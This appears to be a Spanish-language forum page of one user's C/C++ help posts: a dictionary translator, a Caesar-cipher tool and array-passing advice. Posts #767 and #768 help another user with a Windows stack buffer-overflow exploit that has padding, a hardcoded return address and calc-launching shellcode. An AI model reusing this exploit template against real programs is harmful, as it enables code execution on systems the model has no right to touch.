Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - amchacon

#761
Otra propuesta de código:

Código (cpp) [Seleccionar]
#include <iostream>
#include <string>
#include <sstream>
#include <vector>
#include <map>

using namespace std;

int main()
{
   unsigned int i;
   string str;
   vector <string> texto;
   map<string,string> Diccionario;

   Diccionario["coche"] = "car";
   Diccionario["hola"] = "hello";
   Diccionario["perro"] = "dog";
   Diccionario["casa"] = "house";
   Diccionario["ciudad"] = "city";
   Diccionario["cielo"] = "sky";
   Diccionario["vaca"] = "cow";
   Diccionario["ojos"] = "eyes";

   cout << "Que quiere traducir?: ";

   getline(cin, str);
   stringstream is(str);

   while(is >> str) texto.push_back(str);

   cout <<"Las palabras que pusiste son: " << endl;

   for (i = 0; i < texto.size(); i++)
       cout << i + 1 << ". " << texto[i] << endl;

   cout << endl;

   for(i = 0; i < texto.size(); i++)
               cout << texto[i] << " en ingles es " << Diccionario[texto[i]] << endl;

   cin.get();
   return 0;
}
#762
¿Que llevas hecho?
#763
Programación C/C++ / Re: Problema con casting
18 Junio 2013, 22:48 PM
Ah ostia  :silbar:
#764
Muy interesante Leo  ;-)

En mis tiempos hize un programa para descifrar palabras cifradas con César:

https://dl.dropboxusercontent.com/u/69551225/Desencriptador%20Secuencias%20%28WINDOWS%29.rar
https://dl.dropboxusercontent.com/u/69551225/Desencriptador%20Secuencias%20%28SOURCE%29.zip

Tienes que representar las letras con números y el programa busca palabras que sigan ese patrón. Por ejemplo:

CitarAmanda

Introduciríamos en el programa:

Citar121341

(cada letra se corresponde con un número).

El programa entonces, detectaría que la primera letra,tercera y quinta letra son iguales. Entonces buscaría en su base de datos palabras que sigan ese patrón. Los nombres obtenidos se guardan en un txt (deseché mostrarlos por pantalla por si la lista fuese muyy larga).
#765
Programación C/C++ / Re: Problema con casting
18 Junio 2013, 22:37 PM
Como tú dices, con %2 se sabría al instante:

if (numero%2 == 0)
printf("El numero es par");
else
printf("El numero es impar");


Pero quieres saber que es lo que pasa con tu código. Lo primero:

     if ((num / 2) == ((int)(num/2)))
        printf("Es par\n");
     else if ((num / 2) != ((int)(num/2)))
        printf ("Es impar\n");


El segundo if sobra, si hemos llegado al else es porque esa condición ya es cierta:


if ((num / 2) == ((int)(num/2)))
        printf("Es par\n");
else
        printf ("Es impar\n");


El segundo error esque la condición que has puesto no tiene sentido. "si numero dividido entre /2 es igual al mismo número dividido entre 2...". Esto siempre va a ser cierto porque es una ovbiedad:

1/2 = 1/2 CIERTO
2/2 = 2/2 CIERTO
3/2 = 3/2 CIERTO
4/2 = 4/2 CIERTO
5/2 = 5/2 CIERTO


#766
Respuesta corta: Las matrices siempre se pasan por referencia por lo que no hace falta ponerlo explícitamente:

Código (cpp) [Seleccionar]

int ingresarDatos__PrimerLote(char descCat[7][64], int sueldoCat[7], int valorHoraExtraCat[7]); // Prototipo

int main()
{
   //...

   ingresarDatos__PrimerLote(desCat,sueldoCat,valorHoraExtraCat);

  //...
}

int ingresarDatos__PrimerLote(char descCat[7][64], int sueldoCat[7], int valorHoraExtraCat[7])
{
  //...
}


Respuesta larga: desCat es una referencia (puntero) al primer elemento del vector. Como no estás cambiando la referencia sino los datos, se puede pasar por valor perfectamente.
#767
El paramétro argc te dice cuantos parámetros se han pasado al programa.

Por cierto:

argv[0] = "vuln1";
argv[1] = relleno;
argv[2] = NULL;


Estas equivalencias son erroneas (no se puede usar asignación en cadenas char, tienes que usar strcopy, además estás modificando los argumentos que te han pasado *_*).
#768
Bueno que no has reservado memoria suficiente.

Me explico, offset tendrá 5-6 bytes y le quieres meter 30 más. Como solo has reservado 5 te da error.

Prueba reservando muchos:

Código (cpp) [Seleccionar]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
char relleno[250] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char offset[250]  = "\xED\x1E\x95\x7C";
char exploit[250] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";

strcat(offset,exploit);
strcat(relleno,offset);

//argv[0] = "vuln1";
    //argv[1] = relleno;
    //argv[2] = NULL;

//execv ("vuln.exe",argv);

    getchar();
    return 0;
}
#769
En exploit has puesto dos cadenas seguidas.

Quita las comillas y ponlas en una sola.
#770
No es el operador de asignación, sino el constructor copia.

Sin probarlo se me ocurre lo siguiente:

Código (cpp) [Seleccionar]

sf::Texture t1;
Layouts Nuevo;
t1.loadFromFile("image/p1.png");
     
Widgets.push_back(Widget());
Widgets.push_back(Widget());
Widgets[0].setTexture(t1);
Widgets[1].setTexture(t1);
Widgets[1].setPosition(100,20);
Layouts.push_back(Nuevo);
Layouts[0]->addWidget(&Widget1);